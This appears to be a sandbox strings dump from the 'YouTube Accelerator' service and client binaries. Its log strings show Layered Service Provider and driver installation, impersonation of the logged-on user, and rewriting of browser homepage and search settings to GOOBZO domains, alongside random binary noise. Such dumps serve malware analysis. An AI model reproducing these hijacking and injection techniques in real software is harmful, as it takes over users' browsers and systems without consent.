std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<char,struct std::less<char>,class std::allocator<char>,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator ==

std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator *

std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator

std::_String_const_iterator<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >::operator *

std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator  =

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<char,struct std::less<char>,class std::allocator<char>,0> > >::operator

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\algorithm

invalid operator<

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<char,struct std::less<char>,class std::allocator<char>,0> > >::operator --

gstd::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator --

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\memory

std::_Deque_const_iterator<class json::UnknownElement,class std::allocator<class json::UnknownElement> >::operator

YouTubeAcceleratorService.exe_2676:

.text

`.rdata

@.data

.text1

.adata

.data1

.pdata

.rsrc

uh9.tZ

otuh9.tZ

tZ9.tB

tV9.tB

l$$9.tZ

t9.tZ

uB9.tF

Windows CE

Windows 7

Windows Vista

Windows 2003 Server

Windows XP

Windows 2000

Windows NT

Windows Me

Windows 98

Windows 95

[CAcceleratorService::ExecuteServerAsWD] Exit

[CAcceleratorService::ExecuteServerAsWD] Impersonate Wakeup

\\.\pipe\GOOBZO_VAPIPESERVERENG

[CAcceleratorService::ExecuteServerAsWD] Enter

[CAcceleratorService::CreateEngineThread] Create thread result %d

[CAcceleratorService::CreateEngineThread] ___Error Creating the Engine Keep Alive event. error: %d

[CAcceleratorService::StopServiceExitMode] Name: %s

[CAcceleratorService::ProcessTimeoutEvent] ___Error wait for thread termination result %d

[CAcceleratorService::ProcessTimeoutEvent] ___Error StopThread result %d

[CAcceleratorService::ExecuteServer] Leave

[CAcceleratorService::ExecuteServer] Calling to ExecuteServerAsWD

[CAcceleratorService::ExecuteServer] ___Error creating the service named event. LE: %d

[CAcceleratorService::ExecuteServer] Enter

%d.%d.%d.%d

Name: %s

Path: %s

Version: %s

%s_%d.log

[CAcceleratorService::InstallDriver] Driver name: %s, Driver path: %s

[CAcceleratorService::UninstallDriver] Driver name: %s

[CAcceleratorService::InstallLsp] Module not found - LE: %d

[CAcceleratorService::InstallLsp] Function Install not found - LE: %d

[CAcceleratorService::InstallLsp] Module path: %s

[CAcceleratorService::UninstallLsp] Module not found - LE: %d

[CAcceleratorService::UninstallLsp] Function Remove not found - LE: %d

[CAcceleratorService::UninstallLsp] Module path: %s

[CAcceleratorService::RunCommand] Command: %d

[CLSPKeepAlive::GetLastLSPTestStatus] return %d

[CLSPKeepAlive::CheckOurLSPStatus]

[CLSPKeepAlive::Work] CheckOurLSPStatus - our LSP is installed!

[CLSPKeepAlive::Work] ___Error CheckOurLSPStatus - *** SBLSP NOT Installed ***

[CLSPKeepAlive::Work] ___Error creating the service named event. LE: %d

%sLow\%s\

%C:\Users\Public\Documents\%s\%s\

%s\%s\%s\

%s\Application Data\%s\%s\

[CDriverManager::CreateDriver] CreateService failed: %d

Tcpip

[CDriverManager::CreateDriver] Name: %s, Path: %s

[CDriverManager::Install] OpenSCManager failed: %d

[CDriverManager::Install] Name: %s, Path: %s

[CDriverManager::DeleteDriver] DeleteService failed: %d

[CDriverManager::DeleteDriver] OpenService failed: %d

[CDriverManager::DeleteDriver] Name: %s

[CDriverManager::UnInstall] OpenSCManager failed: %d

[CDriverManager::UnInstall] Name: %s

[CDriverManager::StartDriver] OpenService failed: %d

[CDriverManager::StartDriver] Name: %s

[CDriverManager::Load] OpenSCManager failed: %d

[CDriverManager::Load] Name: %s

[CDriverManager::StopDriver] OpenService failed: %d

[CDriverManager::StopDriver] Name: %s

[CDriverManager::UnLoad] OpenSCManager failed: %d

[CDriverManager::UnLoad] Name: %s

[CEventsThread::SetTimeoutResolution] From: %d -> To: %d

[CEventsThread::WaitForMultipleEvents] Released on Signaled: %d ms

[CEventsThread::WaitForMultipleEvents] Released on Timeout: %d ms

[CEventsThread::WaitForMultipleEvents] ___Error MsgWaitForMultipleObjectsEx. LE: %d

[CEventsThread::WaitForMultipleEvents] TID=%X

[CEventsThread::CreateNamedEvent] OpenEvent. LE: %d

[CEventsThread::CreateNamedEvent] ___Error OpenEvent: LE: %d

[CEventsThread::CreateNamedEvent] ___Error CreateEvent. LE: %d. Try OpenEvent...

[CEventsThread::Start - Leave] TID=%X

[CEventsThread::Start] ___Error - Failed to create thread: %X

[CEventsThread::Stop - Leave] TID=%X

[CEventsThread::Stop - Enter] TID=%X

[CEventsThread::CallProcessTimeoutRoutines] ___Error Invalid Event Entry: %d, Timeout: %d

[CEventsThread::AlertEvent] ___Error SetEvent failed: %d

[CEventsThread::AlertEvent] ___Error Invalid Event Entry: %d

[CEventsThread::AlertEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] ___Error Invalid Event Entry: %d

[CEventsThread::SetGlobalEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] Event: %d

[CEventsThread::ResetEvent] ___Error ResetEvent failed: %d

[CEventsThread::ResetEvent] ___Error Invalid Event Entry: %d

[CEventsThread::ResetEvent] ___Error Not found Event: %d

[CEventsThread::ResetEvent] Event: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Entry: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Index: %d

[CEventsThread::RemoveEvent] ___Error CloseHandle failed: %d

[CEventsThread::RemoveEvent] ___Error Invalid Event Entry: %d

[CEventsThread::RemoveEvent] ___Error Not found Event: %d

[CEventsThread::RemoveEvent] Event: %d

[CEventsThread::Cleanup] ___Error CloseHandle(0x%p) failed: %d

[CEventsThread::Cleanup] Closing Handle: %d

[CEventsThread::WaitEvent] TID=%X

[CEventsThread::Work] TID=%X - Exit !!!

[CEventsThread::Work] WAIT_ABANDONED - %d

[CEventsThread::Work] TID=%X

[CEventsThread::AddEvent] ___Warning event handle already exists %d

[CEventsThread::AddEvent] ___Error invalid event handle %d

[CImpersonate::Impersonate] ImpersonateLoggedOnUser - Error: %d

[CImpersonate::Impersonate] Impersonated: %d

[CImpersonate::Revert] RevertToSelf - Error: %d

[CImpersonate::Revert] Impersonated: %d

[CImpersonate::Cleanup] Impersonated: %d

[CImpersonate::GetUserSID] LookupAccountNameW failed. GetLastError returned: %d

[CImpersonate::GetUserSID] The SID for %s is invalid.

[CImpersonate::GetUserSID] Not Enough Memory: %d

[CImpersonate::SetPrivilege] AdjustTokenPrivileges - Error: %d

[CImpersonate::SetPrivilege] LookupPrivilegeValue - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support Windows Vista and Windows 98

[CImpersonate::OpenCurrentUserDesktop] OpenDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenInputDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] SetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] GetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support MAC

[CImpersonate::CreateProcessAsCurrentUser] CreateProcessAsUser - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] CreateEnvironmentBlock - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetLogonSID - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] DuplicateTokenEx - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] SetProcessWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetProcessWindowStation - Error: %d

[CImpersonate::AddAceToWindowStation] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToWindowStation] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToWindowStation] CopySid - Error: %d

[CImpersonate::AddAceToWindowStation] AddAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAclInformation - Error: %d

[CImpersonate::AddAceToWindowStation] GetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] AddAccessAllowedAce - Error: %d

[CImpersonate::AddAceToDesktop] AddAce - Error: %d

[CImpersonate::AddAceToDesktop] GetAce - Error: %d

[CImpersonate::AddAceToDesktop] GetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] GetUserObjectSecurity - Error: %d

[CImpersonate::OpenCurrentUserKey] LoadUserProfile - SUCCESS

[CImpersonate::OpenCurrentUserKey] LoadUserProfile failed - Error: %d

[CImpersonate::GetLogonUserName] GetLogonUserName - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - SUCCESS

[CImpersonate::OpenCurrentUserKey] Impersonated: %d

[CImpersonate::FindLoggedOnUser] Process32First - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcess - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcessToken - Error: %d

[CImpersonate::FindLoggedOnUser] CreateToolhelp32Snapshot failed - Error: %d

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

explorer.exe

[CImpersonate::FindLoggedOnUser] Impersonated: %d

[CImpersonate::GetLogonUserName] Name: %s

[CImpersonate::GetLogonUserName] GetUserName - Error: %d

[CImpersonateThread::NotifyImpersonateLogon] Time: %d

[CImpersonateThread::NotifyImpersonateLogoff] Time: %d

[CImpersonateThread::ProcessEvent] CreateProcess - CmdLine: %s, AppName: %s, ShowCmd: %d

[CImpersonateThread::CreateProcess] CmdLine: %s, AppName: %s, ShowCmd: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(TRUE), LE: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(FALSE) failed: %d

engine.dll

DestroyPipeEventThreadManager

CreatePipeEventThreadManager

ipc.dll

xmldb.dll

config.xml

<d/d/%d d:d:d::d 0x%X>

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegNotifyChangeKeyValue

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegOpenKeyEx

[SbTracer::RecursiveCreateDirectory] Directory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - CreateDirectory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - Directory: %s

[SbTracer::ReadConfiguration] Trace Max Size: %d

[SbTracer::ReadConfiguration] Trace Time Stamp: %d

[SbTracer::ReadConfiguration] Trace Time Limit: %d

[SbTracer::ReadConfiguration] Trace Backup: %d

[SbTracer::ReadConfiguration] Trace Destination: %d

[SbTracer::ReadConfiguration] Trace Level: %d

[SbTracer::FormatFilePath] Log Path: %s

[SbTracer::FormatFilePath] ___Error - RecursiveCreateDirectory: %s

[SbTracer::FormatFilePath] ___Warning - No Log folder: %s

[SbTracer::FormatFilePath] ___Error - GetModuleFileName: %s

\StringFileInfo\x\%s

[SbTracer::BackupTraceFile] %s

[SbTracer::OpenTraceFile] Done %s

[SbTracer::OpenTraceFile] ___Error: %d, File: %s

[SbTracer::WriteTraceLine] !!! OVERFLOW or FORMAT ERROR !!! - (%d) %s

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] SetSecurityDescriptorDacl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeSecurityDescriptor failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the trusted owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the Everyone group. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the queue owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeAcl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetLogonSID failed. Error code: 0x%X

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AllocateAndInitializeSid failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetTokenInformation failed. GetLastError returned: %d

[CServiceController::ChangeStartType] ___Error ChangeServiceConfig failed: %d

[CServiceController::ChangeStartType] ___Error OpenService: %s, failed: %d

[CServiceController::ChangeStartType] ___Error OpenSCManager failed: %d

[CServiceController::ChangeStartType] Name: %s

[CServiceController::ExecuteServer] Exit

[CServiceController::ExecuteServer] Enter

[CServiceController::ServiceMain] ___Error SetServiceStatus Failed: %d

[CServiceController::ServiceMain] ___Error RegisterServiceCtrlHandler Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error Exception StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] Enter, %s

[CServiceController::Remove] ___Error OpenService Failed: %d

[CServiceController::Remove] ___Error OpenSCManager Failed: %d

[CServiceController::GetStatus] ___Error QueryServiceStatus Failed: %d

[CServiceController::GetStatus] ___Error OpenService Failed: %d

[CServiceController::GetStatus] ___Error OpenSCManager Failed: %d

[CServiceController::Start] The service %s was started

[CServiceController::Start] ___Error StartService Failed: %d

[CServiceController::Start] ___Error OpenService Failed: %d

[CServiceController::Start] ___Error OpenSCManager Failed: %d

[CServiceController::Start] Going to start the service %s

[CServiceController::Stop] The service %s was stopped

YoutubeAcceleratorService.exe

[CServiceController::Stop] ___Error ControlService Failed: %d

[CServiceController::Stop] ___Error OpenService Failed: %d

[CServiceController::Stop] Going to stop the service %s

[CServiceController::Stop] ___Error SetServiceStatus Failed: %d

[CServiceController::Install] ___Error OpenService Failed: %d

[CServiceController::Install] ___Error QueryServiceStatus Failed: %d

[CServiceController::Install] ___Error CreateService Failed: %d

[CServiceController::Install] ___Error OpenSCManager Failed: %d

%s -%s -%s

%s\%s

[CServiceController::Install] ___Error GetModuleFileName Failed: %d

[CServiceController::GetArgsFromCmd] Exit

[CServiceController::GetArgsFromCmd] m_bSCMCmd = TRUE

[CServiceController::GetArgsFromCmd] Enter

[CServiceController::RunCommand] Args: %s

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

operator

GetProcessWindowStation

USER32.DLL

c:\BUILDS\Build_YTA\Client\VA_3_2\Bin\Release\YouTubeAcceleratorService.pdb

KERNEL32.dll

USER32.dll

ADVAPI32.dll

SHELL32.dll

VERSION.dll

USERENV.dll

PSAPI.DLL

.?AVIPipeEventsThread@@

.?AVCPipeEventThread@@

.?AV?$IMultiBaseInterface@VIPipeEventThreadManagerFactory@@@@

.?AVIPipeEventThreadManagerFactory@@

.?AV?$CMultiBaseInterface@VCPipeEventThreadManagerFactory@@VIPipeEventThreadManagerFactory@@@@

.?AVCPipeEventThreadManagerFactory@@

C:\PROGRA~2\YOUTUB~1\YouTubeAcceleratorService.exe

aSSSh

FTPjK

FtPj;

C.PjRV

]@ ]( ]8

tGHt.Ht&

FTPQ

.?AVunsupported_thread_option@boost@@

zc�

SetProcessShutdownParameters

kernel32.dll

COMCTL32.DLL

boost::too_few_args: format-string referred to more arguments than were passed

boost::too_many_args: format-string referred to less arguments than were passed

Required USB Key not found

Failed to execute target process

Cannot find import; DLL may be missing, corrupt, or wrong version

File "%s", function "%s"

File "%s", ordinal %d

File "%s", error %d

(Error code %d)

%X:DAF

(Location XEB, error code %d)

_PAD%d

RNX

%X::DAX

KERNEL32.DLL

.DbgLog

GetWindowsDirectoryW

CreateDialogIndirectParamW

Kernel32.dll

User32.dll

ComDlg32.dll

1.2.3

EXCEPTION_FLT_INVALID_OPERATION

EXCEPTION_FLT_DENORMAL_OPERAND

boost::unsupported_thread_option

mscoree.dll

Visual C   CRT: Not enough memory to complete call to strerror.

.mixcrt

ADVAPI32.DLL

portuguese-brazilian

Broken pipe

Inappropriate I/O control operation

Operation not permitted

deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly

inflate 1.2.3 Copyright 1995-2005 Mark Adler

C:\PROGRA~2\YOUTUB~1\YouTubeAcceleratorService-2.DbgLog

GetWindowsDirectoryA

EnumThreadWindows

EnumWindows

CreateDialogIndirectParamA

GetAsyncKeyState

GDI32.dll

comdlg32.dll

GetProcessHeap

GetCPInfo

GetConsoleOutputCP

^.Ad/

.Zvv[

j%FwL

e.tu/

5%up/

A.YNpN\n

%Um-IF

.BV$L|

%X1:S

`?T%Sj

%x@k4

.iyDY

j.Wsf

Cr.BxL

V.Fb7|

$"bM-Q}n

%x R\X

4%sPp

_%S3@

.LvHT

.owm;y,

}R.zmA

.bi@{

>I|.pt|d

t_\A

p}.GF

G){.mf

.xh$x

U.gs!

J|0.tL

.iJp`

.zE:aG

.7%Xs

-DED%xFqz

%cnzb

%UQzss

1%.Ey\=

/\%Dg

.FlC\5

.cA~;

P?=I_.or\

E.yb|4

%SuSw

T.UHuR

:{6@;85|

].Vogz

ZN.sCx

7.ps#

|-j}A

umSg

C.UMxQ

.Yb"%

G P.Qw

dy%u~

x.YCD

$$.tmq

<requestedExecutionLevel level="requireAdministrator" uiAccess="false"></requestedExecutionLevel>

OUTUB~1\YouTubeAcceleratorService.exe

3.3.9.4

YouTubeAccelerator.exe_1032:

.text

`.rdata

@.data

.text1

.adata

.data1

.pdata

.rsrc

uh9.tZ

otuh9.tZ

tZ9.tB

tV9.tB

l$$9.tZ

ub9.tM

@ SSh

SSSSh

D$<9.tZ

\9.tB

D$`9.tZ

FTPj

t#WSSh

D$(PSSh

s%j.Zf

tGHt.Ht&

%a,%d-%b-%Y %H:%M:%S

DestroyPipeEventThreadManager

CreatePipeEventThreadManager

spCmd

3.3.9.4

<img src="images/v4.gif" alt="" />

<img src="images/v3.gif" alt="" />

user32.dll

CWebBrowser2

CNotSupportedException

hhctrl.ocx

CCmdTarget

KERNEL32.DLL

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

GetProcessWindowStation

USER32.DLL

operator

OLEACC.dll

c:\BUILDS\Build_YTA\Client\VA_3_2\Bin\Release_Unicode\YouTubeAcceleratorU.pdb

VERSION.dll

KERNEL32.dll

USER32.dll

GDI32.dll

COMDLG32.dll

WINSPOOL.DRV

ADVAPI32.dll

SHELL32.dll

COMCTL32.dll

SHLWAPI.dll

oledlg.dll

ole32.dll

OLEAUT32.dll

WININET.dll

WS2_32.dll

USERENV.dll

PSAPI.DLL

.?AVCCmdTarget@@

.PAVCException@@

.?AVCWebWindow@@

.?AVCHttp@@

.?AVCHttpAsync@@

.?AVCExecuteUpdate@@

.?AVCExitWindows@@

.?AVIHttpEngineConfiguration@@

.?AV?$CBaseInterface@VHttpEngineConfiguration@@VIHttpEngineConfiguration@@@@

.?AVHttpEngineConfiguration@@

.?AVIPipeEventsThread@@

.?AVCSLogReportEventThread@@

.?AVCPipeEventThread@@

.?AV?$IMultiBaseInterface@VIPipeEventThreadManagerFactory@@@@

.?AVIPipeEventThreadManagerFactory@@

.?AV?$CMultiBaseInterface@VCPipeEventThreadManagerFactory@@VIPipeEventThreadManagerFactory@@@@

.?AVCPipeEventThreadManagerFactory@@

<>"#{}|\^~[]`' ?&

.?AVCSABaseWebWindow@@

.?AVCSANotifierWebWindow@@

.?AVCSAWebWindow@@

.PAVCMemoryException@@

.?AVCWebBrowser2@@

.?AVCWebForm@@

.?AVCWebElement@@

.?AVCWebInput@@

.?AVCWebAnchor@@

.?AVCWebDiv@@

.?AVCWebCheckBox@@

.PAVCSimpleException@@

.PAVCObject@@

.PAVCNotSupportedException@@

.PAVCInvalidArgException@@

.?AVCNotSupportedException@@

.PAVCOleException@@

.PAVCResourceException@@

.PAVCUserException@@

.?AVCTestCmdUI@@

.?AVCCmdUI@@

.PAVCOleDispatchException@@

.PAVCArchiveException@@

.?AV?$CFixedStringT@V?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@$0BAA@@ATL@@

.?AV?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@

.PAVCFileException@@

zc�

aSSSh

FTPjK

FtPj;

C.PjRV

]@ ]( ]8

FTPQ

.?AVunsupported_thread_option@boost@@

SetProcessShutdownParameters

kernel32.dll

COMCTL32.DLL

boost::too_few_args: format-string referred to more arguments than were passed

boost::too_many_args: format-string referred to less arguments than were passed

Required USB Key not found

Failed to execute target process

Cannot find import; DLL may be missing, corrupt, or wrong version

File "%s", function "%s"

File "%s", ordinal %d

File "%s", error %d

(Error code %d)

%X:DAF

(Location XEB, error code %d)

_PAD%d

RNX

%X::DAX

.DbgLog

GetWindowsDirectoryW

CreateDialogIndirectParamW

Kernel32.dll

User32.dll

ComDlg32.dll

1.2.3

EXCEPTION_FLT_INVALID_OPERATION

EXCEPTION_FLT_DENORMAL_OPERAND

boost::unsupported_thread_option

mscoree.dll

Visual C   CRT: Not enough memory to complete call to strerror.

.mixcrt

ADVAPI32.DLL

portuguese-brazilian

Broken pipe

Inappropriate I/O control operation

Operation not permitted

deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly

inflate 1.2.3 Copyright 1995-2005 Mark Adler

%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator-2.DbgLog

%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe

GetWindowsDirectoryA

EnumThreadWindows

EnumWindows

CreateDialogIndirectParamA

GetAsyncKeyState

comdlg32.dll

GetProcessHeap

GetCPInfo

GetConsoleOutputCP

^.Ad/

.Zvv[

j%FwL

e.tu/

5%up/

A.YNpN\n

%Um-IF

.BV$L|

%X1:S

`?T%Sj

%x@k4

.iyDY

j.Wsf

Cr.BxL

V.Fb7|

$"bM-Q}n

%x R\X

4%sPp

_%S3@

.LvHT

.owm;y,

}R.zmA

.bi@{

>I|.pt|d

t_\A

p}.GF

G){.mf

.xh$x

U.gs!

J|0.tL

.iJp`

.zE:aG

.7%Xs

-DED%xFqz

%cnzb

%UQzss

1%.Ey\=

/\%Dg

.FlC\5

.cA~;

P?=I_.or\

E.yb|4

%SuSw

T.UHuR

.sq>9

.US?g#

~}.LRy

c.dQ7

ZcMD

@U|

I%S5E

$tTH2.yN"

iZ.ixY

L/%X=

2Ag{%c

v..jv

0\.Hc

v.Wj-

Tcrt

F.gj]

y.jxU

%cl%[

%X_`h

~L.DTh

).Zi0

.TOmY

n^5.fT

WB.Bp

.FuB3

]A]%U

.MAFEz

|SM

.UoZ}

%Xjv6

.Rw.J

u^.aO!

?*.LO!

,^.ew

|%f;.)

kB.hR

%>.zv

.kif;

^__:;;,,,~

9:;556011---

<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>

%s (%s:%d)

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\atlmfc\include\afxwin1.inl

JhXXp://@BRAND_ID@.@[email protected]/support/video-sites

hXXp://@BRAND_ID@.@[email protected]/buy/hd/

hXXp://wiki.@[email protected]/doku.php?id=va:start

%s?OEM=%s

hXXp://VVV.@[email protected]

hXXp://@BRAND_ID@.@[email protected]/legal/license

blank.html

hXXp://VVV.@[email protected]/legal/privacy

[CAcceleratorEventsData::OnDeserialize] ___Error get URL

@CActivationBrowser::OnBeforeNavigate : url = %s

CActivationBrowser::OnNavigateComplete : url = %s

CActivationBrowser::OnNavigateError : url = %s

Res.dll

CActivationBrowser::SetMetaData GOT 'OPEN_URL'

OPEN_URL

CActivationBrowser::SetMetaData GOT 'ACTIVATION_BACK_URL'

ACTIVATION_BACK_URL

activation_offline.mht

%X%X%X

hXXp://client.@[email protected]/clientva/Activation.aspx

CActivationBrowser::OnDocumentComplete : url = %s

ipc.dll

\\.\pipe\GOOBZO_VAPIPESERVERENG

LastNum%d

LastID%d

\\.\pipe\GOOBZO_VAPIPESERVERUI

CBrowserSettings::RegisterDLL - LoadLibrary() Failed: %s

CBrowserSettings::RegisterDLL %s

%s = %s; expires = %s

%a,%d-%b-%Y %H:%M:%S GMT

2prefs.js

profiles.ini

profile%d

Mozilla\Firefox\

cookies.txt

Software\Microsoft\Internet Explorer\AboutURLs

user_pref("keyword.URL", "%s");

Use Custom Search URL

DefaultSearchURL

SBSearch.dll

SearchURL

Web Search

user_pref("browser.startup.homepage","%s");

restore.GOOBZO.com

hXXp://search.GOOBZO.com

search.GOOBZO.com

%d-%b-%Y

hXXp://restore.GOOBZO.com

user_pref("browser.startup.homepage",

HTTP/1.0

Software\Microsoft\Windows\CurrentVersion\Internet Settings

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

HTTP/1.1

Content-Type: multipart/form-data; boundary=%s

Content-Disposition: form-data; name="%s"

XXX

[CCommandsQueue::SetAsync (%p)] ___Error CreateEvent(), Error: %d

[CCommandsQueue::CCommandsQueue - (%p)] CreateEvent() - Failed, Error: %d

test.youtubeaccelerator.com

hXXp://test.youtubeaccelerator.com/video_accelerator/wizardtest/SMALLTEST.HTM?random=%d&mode=%s

Windows CE

Windows 7

Windows Vista

Windows 2003 Server

Windows XP

Windows 2000

Windows NT

Windows Me

Windows 98

Windows 95

[CCommTest::SetEngineMode] %d

vaproxy.pac

[CCommTest::StartServiceTest] ___Error Default EngineMode = %d !!!

[CCommTest::StartGuiTest] ___Error to create VACommTest process. LE: %d

testlsp.exe

[CCommTest::ProcessNextState] ___Error State = %d !!!

[CCommTestDlg::KillAllTimers] m_ConnectivityCheckTimer Timer: %d

[CCommTestDlg::ResetConnectionTimer] SetTimer: %d

[CCommTestDlg::ResetConnectivityCheckTimer] SetTimer: %d

CCommTestDlg::OnTimer() - m_ConnectionTestFailedTimer: %d

SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy

showitunesMsg

DontShowAccelerationNotSupported

lastiTunesMsgTime

ManualProxyPort

[CConfig::IsLastTestingSucceeded] REGISTRY - Status = %d

[CConfig::IsLastTestingSucceeded] XML - Status = %d

[CConfig::SetLastTestingSucceeded] ___Error LastTestingSucceeded = %d (XML)

[CConfig::SetLastTestingSucceeded] LastTestingSucceeded = %d (XML)

[CConfig::IsTestingMode] ___Error TestingMode = %d (XML)

[CConfig::IsTestingMode] TestingMode = %d (XML)

[CConfig::SetTestingMode] ___Error TestingMode = %d (XML)

[CConfig::SetTestingMode] TestingMode = %d (XML)

[CConfig::GetBrandPort] BrandPort = %d

br_port

CConfig::SetCurrentUserKey

ReportCommFailed

[CConfig::SetSendLogFiles] Status = %d

[CConfig::SetSendInstLogFileOnly] Status = %d

[CConfig::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

[CConfig::SetTracerOff] ___Error GetRegistryKeys

[CConfig::SetBackup] ___Error GetRegistryKeys

[CConfig::SetBackup] Status = %d

[CConfig::AddToLearningDomainsList] ___Error adding the domain %s to the learning domains list

[CConfig::AddToLearningDomainsList] The domain %s was added to the learning domains list

[CConfig::IsXBoxMode] Status = %d

[CConfig::SetTracerOn] ___Error GetRegistryKeys

[CConfig::SetTracer] Status = %d

B%sLow\%s\

%C:\Users\Public\Documents\%s\%s\

%s\%s\%s\

%s\Application Data\%s\%s\

[CCoreConfig::InitConfig] Product Name %s UseRegistry %d

You are using %s - Translated by:

[CFileResource::Load] ___Error SizeofResource: %d

[CFileResource::Load] ___Error LockResource: %d

[CFileResource::Load] ___Error LoadResource: %d

[CFileResource::Load] ___Error FindResource: %d

[CFileResource::Load] %s

